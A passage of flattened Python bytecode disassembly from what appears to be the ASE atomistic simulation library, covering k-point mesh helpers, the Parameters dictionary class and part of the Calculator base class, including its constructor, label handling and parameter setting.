LOAD_METHOD array LOAD_FAST kpts CALL_METHOD RETURN_VALUE LOAD_FAST kpts LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST kpts LOAD_GLOBAL float LOAD_GLOBAL int BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL kptdensity2monkhorstpack LOAD_FAST atoms LOAD_FAST kpts LOAD_FAST even CALL_FUNCTION RETURN_VALUE LOAD_FAST kpts RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST size LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST density LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Cannot specify k-point mesh size and density simultaneously' CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 50 LOAD_FAST density LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST atoms LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Cannot set k-points from "density" unless Atoms are provided (need BZ dimensions).' CALL_FUNCTION RAISE_VARARGS LOAD_FAST size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST density LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST STORE_FAST size JUMP_FORWARD to 90 LOAD_GLOBAL kptdensity2monkhorstpack LOAD_FAST atoms LOAD_FAST density LOAD_CONST None CALL_FUNCTION STORE_FAST size LOAD_FAST even LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST size CALL_METHOD STORE_FAST size LOAD_FAST size LOAD_CONST 2 BINARY_MODULO STORE_FAST remainder LOAD_FAST even POP_JUMP_IF_FALSE LOAD_FAST size LOAD_FAST remainder INPLACE_ADD STORE_FAST size JUMP_FORWARD to 142 LOAD_FAST size LOAD_CONST 1 LOAD_FAST remainder BINARY_SUBTRACT INPLACE_ADD STORE_FAST size LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST STORE_FAST offsets LOAD_FAST atoms LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST True LOAD_CONST True LOAD_CONST True BUILD_LIST STORE_FAST pbc JUMP_FORWARD to 178 LOAD_FAST atoms LOAD_ATTR pbc STORE_FAST pbc LOAD_FAST gamma LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE SETUP_LOOP to 244 LOAD_GLOBAL enumerate LOAD_FAST size CALL_FUNCTION GET_ITER FOR_ITER to 242 UNPACK_SEQUENCE STORE_FAST i STORE_FAST s LOAD_FAST pbc LOAD_FAST i BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST s LOAD_CONST 2 BINARY_MODULO LOAD_GLOBAL bool LOAD_FAST gamma CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST 0.5 LOAD_FAST s BINARY_TRUE_DIVIDE LOAD_FAST offsets LOAD_FAST i STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST size LOAD_FAST offsets BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'KPoints' STORE_NAME __qualname__ LOAD_CONST (None,) LOAD_CONST <code object __init__ at 0x7fa6d5630f60, file "f.py", line 371> LOAD_CONST 'KPoints.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object todict at 0x7fa6f1efd0c0, file "f.py", line 376> LOAD_CONST 'KPoints.todict' MAKE_FUNCTION STORE_NAME todict LOAD_CONST None RETURN_VALUE LOAD_FAST kpts LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST (1, 3) CALL_METHOD STORE_FAST kpts LOAD_FAST kpts LOAD_FAST self STORE_ATTR kpts LOAD_CONST None RETURN_VALUE LOAD_GLOBAL vars LOAD_FAST self CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('monkhorst_pack',) IMPORT_NAME ase.dft.kpoints IMPORT_FROM monkhorst_pack STORE_FAST monkhorst_pack POP_TOP LOAD_FAST kpts LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL KPoints CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL hasattr LOAD_FAST kpts LOAD_CONST 'kpts' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST kpts RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST kpts LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 'kpts' LOAD_FAST kpts COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL KPoints LOAD_FAST kpts LOAD_CONST 'kpts' BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_CONST 'path' LOAD_FAST kpts COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL Cell LOAD_METHOD ascell LOAD_FAST atoms LOAD_ATTR cell CALL_METHOD STORE_FAST cell LOAD_FAST cell LOAD_ATTR bandpath BUILD_TUPLE LOAD_CONST 'pbc' LOAD_FAST atoms LOAD_ATTR pbc BUILD_MAP LOAD_FAST kpts BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL kpts2sizeandoffsets BUILD_TUPLE LOAD_CONST 'atoms' LOAD_FAST atoms BUILD_MAP LOAD_FAST kpts BUILD_MAP CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST size STORE_FAST offsets LOAD_GLOBAL KPoints LOAD_FAST monkhorst_pack LOAD_FAST size CALL_FUNCTION LOAD_FAST offsets BINARY_ADD CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST kpts LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL KPoints LOAD_FAST monkhorst_pack LOAD_FAST kpts CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL KPoints LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST kpts CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL kpts2kpts LOAD_FAST kpts LOAD_FAST atoms LOAD_CONST ('atoms',) CALL_FUNCTION LOAD_ATTR kpts RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EigenvalOccupationMixin' STORE_NAME __qualname__ LOAD_CONST "Define 'eigenvalues' and 'occupations' properties on class.\n\n eigenvalues and occupations will be arrays of shape (spin, kpts, nbands).\n\n Classes must implement the old-fashioned get_eigenvalues and\n get_occupations methods." STORE_NAME __doc__ LOAD_NAME property LOAD_CONST <code object eigenvalues at 0x7fa6f1efd300, file "f.py", line 417> LOAD_CONST 'EigenvalOccupationMixin.eigenvalues' MAKE_FUNCTION CALL_FUNCTION STORE_NAME eigenvalues LOAD_NAME property LOAD_CONST <code object occupations at 0x7fa6f1efd390, file "f.py", line 421> LOAD_CONST 'EigenvalOccupationMixin.occupations' MAKE_FUNCTION CALL_FUNCTION STORE_NAME occupations LOAD_CONST <code object build_eig_occ_array at 0x7fa6f1efd4b0, file "f.py", line 425> LOAD_CONST 'EigenvalOccupationMixin.build_eig_occ_array' MAKE_FUNCTION STORE_NAME build_eig_occ_array LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD build_eig_occ_array LOAD_FAST self LOAD_ATTR get_eigenvalues CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD build_eig_occ_array LOAD_FAST self LOAD_ATTR get_occupation_numbers CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD get_number_of_spins CALL_METHOD STORE_FAST nspins LOAD_GLOBAL len LOAD_FAST self LOAD_METHOD get_ibz_k_points CALL_METHOD CALL_FUNCTION STORE_FAST nkpts LOAD_FAST self LOAD_METHOD get_number_of_bands CALL_METHOD STORE_FAST nbands LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nspins LOAD_FAST nkpts LOAD_FAST nbands BUILD_TUPLE CALL_METHOD STORE_FAST arr SETUP_LOOP to 106 LOAD_GLOBAL range LOAD_FAST nspins CALL_FUNCTION GET_ITER FOR_ITER to 104 STORE_FAST s SETUP_LOOP to 102 LOAD_GLOBAL range LOAD_FAST nkpts CALL_FUNCTION GET_ITER FOR_ITER to 100 STORE_FAST k LOAD_FAST getter LOAD_FAST s LOAD_FAST k LOAD_CONST ('spin', 'kpt') CALL_FUNCTION LOAD_FAST arr LOAD_FAST s LOAD_FAST k LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST arr RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Parameters' STORE_NAME __qualname__ LOAD_CONST "Dictionary for parameters.\n\n Special feature: If param is a Parameters instance, then param.xc\n is a shorthand for param['xc'].\n " STORE_NAME __doc__ LOAD_CONST <code object __getattr__ at 0x7fa6f1efd5d0, file "f.py", line 443> LOAD_CONST 'Parameters.__getattr__' MAKE_FUNCTION STORE_NAME __getattr__ LOAD_CONST <code object __setattr__ at 0x7fa6f1efd660, file "f.py", line 448> LOAD_CONST 'Parameters.__setattr__' MAKE_FUNCTION STORE_NAME __setattr__ LOAD_NAME classmethod LOAD_CONST <code object read at 0x7fa6f1efd6f0, file "f.py", line 451> LOAD_CONST 'Parameters.read' MAKE_FUNCTION CALL_FUNCTION STORE_NAME read LOAD_CONST <code object tostring at 0x7fa6f1efd810, file "f.py", line 474> LOAD_CONST 'Parameters.tostring' MAKE_FUNCTION STORE_NAME tostring LOAD_CONST <code object write at 0x7fa6f1efd8a0, file "f.py", line 482> LOAD_CONST 'Parameters.write' MAKE_FUNCTION STORE_NAME write LOAD_CONST None RETURN_VALUE LOAD_FAST key LOAD_FAST self COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL dict LOAD_METHOD __getattribute__ LOAD_FAST self LOAD_FAST key CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_FAST key BINARY_SUBSCR RETURN_VALUE LOAD_FAST value LOAD_FAST self LOAD_FAST key STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME ast STORE_FAST ast LOAD_GLOBAL open LOAD_FAST filename CALL_FUNCTION SETUP_WITH to 34 STORE_FAST fd LOAD_FAST fd LOAD_METHOD read CALL_METHOD LOAD_METHOD strip CALL_METHOD STORE_FAST txt POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST txt LOAD_METHOD startswith LOAD_CONST 'dict(' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST txt LOAD_METHOD endswith LOAD_CONST ')' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST txt LOAD_CONST 5 LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST txt BUILD_MAP STORE_FAST dct SETUP_LOOP to 172 LOAD_FAST txt LOAD_METHOD splitlines CALL_METHOD GET_ITER FOR_ITER to 170 STORE_FAST line LOAD_FAST line LOAD_METHOD split LOAD_CONST '=' LOAD_CONST 1 CALL_METHOD UNPACK_SEQUENCE STORE_FAST key STORE_FAST val LOAD_FAST key LOAD_METHOD strip CALL_METHOD STORE_FAST key LOAD_FAST val LOAD_METHOD strip CALL_METHOD STORE_FAST val LOAD_FAST val LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST ',' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST val LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST val LOAD_FAST ast LOAD_METHOD literal_eval LOAD_FAST val CALL_METHOD LOAD_FAST dct LOAD_FAST key STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST cls LOAD_FAST dct CALL_FUNCTION STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_GLOBAL sorted LOAD_DEREF self CALL_FUNCTION STORE_FAST keys LOAD_CONST 'dict(' LOAD_CONST ',\n ' LOAD_METHOD join LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fa6f1efd780, file "f.py", line 478> LOAD_CONST 'Parameters.tostring.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST keys GET_ITER CALL_FUNCTION CALL_METHOD BINARY_ADD LOAD_CONST ')\n' BINARY_ADD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 STORE_FAST key LOAD_CONST '{}={!r}' LOAD_METHOD format LOAD_FAST key LOAD_DEREF self LOAD_FAST key BINARY_SUBSCR CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pathlib LOAD_METHOD Path LOAD_FAST filename CALL_METHOD LOAD_METHOD write_text LOAD_FAST self LOAD_METHOD tostring CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Calculator' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST "Base-class for all ASE calculators.\n\n A calculator must raise PropertyNotImplementedError if asked for a\n property that it can't calculate. So, if calculation of the\n stress tensor has not been implemented, get_stress(atoms) should\n raise PropertyNotImplementedError. This can be achieved simply by not\n including the string 'stress' in the list implemented_properties\n which is a class member. These are the names of the standard\n properties: 'energy', 'forces', 'stress', 'dipole', 'charges',\n 'magmom' and 'magmoms'.\n " STORE_NAME __doc__ BUILD_LIST STORE_NAME implemented_properties LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'implemented_properties' STORE_SUBSCR BUILD_MAP STORE_NAME default_parameters LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'default_parameters' STORE_SUBSCR LOAD_NAME set CALL_FUNCTION STORE_NAME ignored_changes LOAD_NAME Set LOAD_NAME str BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'ignored_changes' STORE_SUBSCR LOAD_CONST False STORE_NAME discard_results_on_any_change LOAD_NAME object CALL_FUNCTION STORE_NAME _deprecated LOAD_CONST None LOAD_NAME _deprecated LOAD_CONST None LOAD_CONST None LOAD_CONST '.' BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6f1efd9c0, file "f.py", line 515> LOAD_CONST 'Calculator.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object directory at 0x7fa6f1efda50, file "f.py", line 611> LOAD_CONST 'Calculator.directory' MAKE_FUNCTION CALL_FUNCTION STORE_NAME directory LOAD_NAME directory LOAD_ATTR setter LOAD_NAME Union LOAD_NAME str LOAD_NAME pathlib LOAD_ATTR PurePath BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('directory',) BUILD_CONST_KEY_MAP LOAD_CONST <code object directory at 0x7fa6f1efdae0, file "f.py", line 615> LOAD_CONST 'Calculator.directory' MAKE_FUNCTION CALL_FUNCTION STORE_NAME directory LOAD_NAME property LOAD_CONST <code object label at 0x7fa6f1efdb70, file "f.py", line 619> LOAD_CONST 'Calculator.label' MAKE_FUNCTION CALL_FUNCTION STORE_NAME label LOAD_NAME label LOAD_ATTR setter LOAD_CONST <code object label at 0x7fa6f1efdc00, file "f.py", line 629> LOAD_CONST 'Calculator.label' MAKE_FUNCTION CALL_FUNCTION STORE_NAME label LOAD_CONST <code object set_label at 0x7fa6f1efdc90, file "f.py", line 648> LOAD_CONST 'Calculator.set_label' MAKE_FUNCTION STORE_NAME set_label LOAD_CONST <code object get_default_parameters at 0x7fa6f1efdd20, file "f.py", line 659> LOAD_CONST 'Calculator.get_default_parameters' MAKE_FUNCTION STORE_NAME get_default_parameters LOAD_CONST (True,) LOAD_CONST <code object todict at 0x7fa6f1efde40, file "f.py", line 662> LOAD_CONST 'Calculator.todict' MAKE_FUNCTION STORE_NAME todict LOAD_CONST <code object reset at 0x7fa6f1efded0, file "f.py", line 675> LOAD_CONST 'Calculator.reset' MAKE_FUNCTION STORE_NAME reset LOAD_CONST <code object read at 0x7fa6f1efdf60, file "f.py", line 681> LOAD_CONST 'Calculator.read' MAKE_FUNCTION STORE_NAME read LOAD_CONST <code object get_atoms at 0x7fa6f1ef1030, file "f.py", line 702> LOAD_CONST 'Calculator.get_atoms' MAKE_FUNCTION STORE_NAME get_atoms LOAD_NAME classmethod LOAD_CONST <code object read_atoms at 0x7fa6f1ef10c0, file "f.py", line 709> LOAD_CONST 'Calculator.read_atoms' MAKE_FUNCTION CALL_FUNCTION STORE_NAME read_atoms LOAD_CONST <code object set at 0x7fa6f1ef1150, file "f.py", line 713> LOAD_CONST 'Calculator.set' MAKE_FUNCTION STORE_NAME set LOAD_CONST (1e-15,) LOAD_CONST <code object check_state at 0x7fa6f1ef11e0, file "f.py", line 745> LOAD_CONST 'Calculator.check_state' MAKE_FUNCTION STORE_NAME check_state LOAD_CONST (None, False) LOAD_CONST <code object get_potential_energy at 0x7fa6f1ef1270, file "f.py", line 751> LOAD_CONST 'Calculator.get_potential_energy' MAKE_FUNCTION STORE_NAME get_potential_energy LOAD_CONST (None, True) LOAD_CONST <code object get_property at 0x7fa6f1ef1300, file "f.py", line 764> LOAD_CONST 'Calculator.get_property' MAKE_FUNCTION STORE_NAME get_property LOAD_CONST <code object calculation_required at 0x7fa6f1ef1390, file "f.py", line 792> LOAD_CONST 'Calculator.calculation_required' MAKE_FUNCTION STORE_NAME calculation_required LOAD_CONST None LOAD_CONST 'energy' BUILD_LIST LOAD_NAME all_changes BUILD_TUPLE LOAD_CONST <code object calculate at 0x7fa6f1ef1420, file "f.py", line 802> LOAD_CONST 'Calculator.calculate' MAKE_FUNCTION STORE_NAME calculate LOAD_CONST (0.001,) LOAD_CONST <code object calculate_numerical_forces at 0x7fa6f1ef15d0, file "f.py", line 837> LOAD_CONST 'Calculator.calculate_numerical_forces' MAKE_FUNCTION STORE_NAME calculate_numerical_forces LOAD_CONST (1e-06, True) LOAD_CONST <code object calculate_numerical_stress at 0x7fa6f1ef1660, file "f.py", line 851> LOAD_CONST 'Calculator.calculate_numerical_stress' MAKE_FUNCTION STORE_NAME calculate_numerical_stress LOAD_CONST <code object _deprecated_get_spin_polarized at 0x7fa6f1ef16f0, file "f.py", line 891> LOAD_CONST 'Calculator._deprecated_get_spin_polarized' MAKE_FUNCTION STORE_NAME _deprecated_get_spin_polarized LOAD_CONST <code object band_structure at 0x7fa6f1ef1780, file "f.py", line 901> LOAD_CONST 'Calculator.band_structure' MAKE_FUNCTION STORE_NAME band_structure LOAD_CONST <code object calculate_properties at 0x7fa6f1ef1810, file "f.py", line 907> LOAD_CONST 'Calculator.calculate_properties' MAKE_FUNCTION STORE_NAME calculate_properties LOAD_CONST <code object export_properties at 0x7fa6f1ef18a0, file "f.py", line 922> LOAD_CONST 'Calculator.export_properties' MAKE_FUNCTION STORE_NAME export_properties LOAD_CONST None RETURN_VALUE LOAD_CONST None LOAD_FAST self STORE_ATTR atoms BUILD_MAP LOAD_FAST self STORE_ATTR results LOAD_CONST None LOAD_FAST self STORE_ATTR parameters LOAD_CONST None LOAD_FAST self STORE_ATTR _directory LOAD_FAST ignore_bad_restart_file LOAD_FAST self LOAD_ATTR _deprecated COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST ignore_bad_restart_file JUMP_FORWARD to 54 LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_GLOBAL FutureWarning LOAD_CONST 'The keyword "ignore_bad_restart_file" is deprecated and will be removed in a future version of ASE. Passing more than one positional argument to Calculator is also deprecated and will stop functioning in the future. Please pass arguments by keyword (key=value) except optionally the "restart" keyword.' CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST restart LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE SETUP_EXCEPT to 78 LOAD_FAST self LOAD_METHOD read LOAD_FAST restart CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 114 DUP_TOP LOAD_GLOBAL ReadError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST ignore_bad_restart_file POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD reset CALL_METHOD POP_TOP JUMP_FORWARD to 108 RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 114 END_FINALLY LOAD_FAST directory LOAD_FAST self STORE_ATTR directory LOAD_CONST None LOAD_FAST self STORE_ATTR prefix LOAD_FAST label LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR directory LOAD_CONST '.' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST '/' LOAD_FAST label COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST label LOAD_FAST self STORE_ATTR label JUMP_FORWARD to 206 LOAD_CONST '/' LOAD_FAST label COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_CONST '/' LOAD_METHOD join LOAD_FAST self LOAD_ATTR directory LOAD_FAST label BUILD_TUPLE CALL_METHOD LOAD_FAST self STORE_ATTR label JUMP_FORWARD to 206 LOAD_GLOBAL ValueError LOAD_CONST 'Directory redundantly specified though directory="{}" and label="{}". Please omit "/" in label.' LOAD_METHOD format LOAD_FAST self LOAD_ATTR directory LOAD_FAST label CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR parameters LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD get_default_parameters CALL_METHOD LOAD_FAST self STORE_ATTR parameters LOAD_FAST atoms LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_FAST atoms STORE_ATTR calc LOAD_FAST self LOAD_ATTR atoms LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL equal LOAD_FAST atoms LOAD_ATTR numbers LOAD_FAST self LOAD_ATTR atoms LOAD_ATTR numbers CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST atoms LOAD_ATTR pbc LOAD_FAST self LOAD_ATTR atoms LOAD_ATTR pbc COMPARE_OP == LOAD_METHOD all CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL CalculatorError LOAD_CONST 'Atoms not compatible with file' CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR atoms LOAD_ATTR positions LOAD_FAST atoms STORE_ATTR positions LOAD_FAST self LOAD_ATTR atoms LOAD_ATTR cell LOAD_FAST atoms STORE_ATTR cell LOAD_FAST self LOAD_ATTR set BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_GLOBAL hasattr LOAD_FAST self LOAD_CONST 'name' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ LOAD_METHOD lower CALL_METHOD LOAD_FAST self STORE_ATTR name LOAD_GLOBAL hasattr LOAD_FAST self LOAD_CONST 'get_spin_polarized' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _deprecated_get_spin_polarized LOAD_FAST self STORE_ATTR get_spin_polarized LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _directory RETURN_VALUE LOAD_GLOBAL str LOAD_GLOBAL pathlib LOAD_METHOD Path LOAD_FAST directory CALL_METHOD CALL_FUNCTION LOAD_FAST self STORE_ATTR _directory LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR directory LOAD_CONST '.' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR prefix RETURN_VALUE LOAD_FAST self LOAD_ATTR prefix LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR directory LOAD_CONST '/' BINARY_ADD RETURN_VALUE LOAD_CONST '{}/{}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR directory LOAD_FAST self LOAD_ATTR prefix CALL_METHOD RETURN_VALUE LOAD_FAST label LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST '.' LOAD_FAST self STORE_ATTR directory LOAD_CONST None LOAD_FAST self STORE_ATTR prefix LOAD_CONST None RETURN_VALUE LOAD_FAST label LOAD_METHOD rsplit LOAD_CONST '/' LOAD_CONST 1 CALL_METHOD STORE_FAST tokens LOAD_GLOBAL len LOAD_FAST tokens CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST tokens UNPACK_SEQUENCE STORE_FAST directory STORE_FAST prefix JUMP_FORWARD to 86 LOAD_GLOBAL len LOAD_FAST tokens CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST '.' STORE_FAST directory LOAD_FAST tokens LOAD_CONST 0 BINARY_SUBSCR STORE_FAST prefix LOAD_FAST prefix LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST prefix LOAD_FAST directory LOAD_FAST self STORE_ATTR directory LOAD_FAST prefix LOAD_FAST self STORE_ATTR prefix LOAD_CONST None RETURN_VALUE LOAD_FAST label LOAD_FAST self STORE_ATTR label LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Parameters LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST self LOAD_ATTR default_parameters CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD get_default_parameters CALL_METHOD STORE_FAST defaults BUILD_MAP STORE_FAST dct SETUP_LOOP to 98 LOAD_FAST self LOAD_ATTR parameters LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 96 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_GLOBAL hasattr LOAD_FAST value LOAD_CONST 'todict' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_METHOD todict CALL_METHOD STORE_FAST value LOAD_FAST skip_default POP_JUMP_IF_FALSE LOAD_FAST defaults LOAD_METHOD get LOAD_FAST key LOAD_CONST '_no_default_' CALL_METHOD STORE_FAST default LOAD_FAST default LOAD_CONST '_no_default_' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL equal LOAD_FAST value LOAD_FAST default CALL_FUNCTION POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST value LOAD_FAST dct LOAD_FAST key STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST dct RETURN_VALUE LOAD_CONST None LOAD_FAST self STORE_ATTR atoms BUILD_MAP LOAD_FAST self STORE_ATTR results LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD set_label LOAD_FAST label CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR atoms LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Calculator has no atoms' CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR atoms LOAD_METHOD copy CALL_METHOD STORE_FAST atoms LOAD_FAST self LOAD_FAST atoms STORE_ATTR calc LOAD_FAST atoms RETURN_VALUE LOAD_FAST cls BUILD_TUPLE LOAD_FAST restart LOAD_FAST restart LOAD_CONST ('restart', 'label') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION LOAD_METHOD get_atoms CALL_METHOD RETURN_VALUE LOAD_CONST 'parameters' LOAD_FAST kwargs COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'parameters' CALL_METHOD STORE_FAST filename LOAD_GLOBAL Parameters LOAD_METHOD read LOAD_FAST filename CALL_METHOD STORE_FAST parameters LOAD_FAST parameters LOAD_METHOD update LOAD_FAST kwargs CALL_METHOD POP_TOP LOAD_FAST parameters STORE_FAST kwargs BUILD_MAP STORE_FAST changed_parameters SETUP_LOOP to 118 LOAD_FAST kwargs LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 116 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_FAST self LOAD_ATTR parameters LOAD_METHOD get LOAD_FAST key CALL_METHOD STORE_FAST oldvalue LOAD_FAST key LOAD_FAST self LOAD_ATTR parameters COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL equal LOAD_FAST value LOAD_FAST oldvalue CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST value LOAD_FAST changed_parameters LOAD_FAST key STORE_SUBSCR LOAD_FAST value LOAD_FAST self LOAD_ATTR parameters LOAD_FAST key STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR discard_results_on_any_change POP_JUMP_IF_FALSE LOAD_FAST changed_parameters 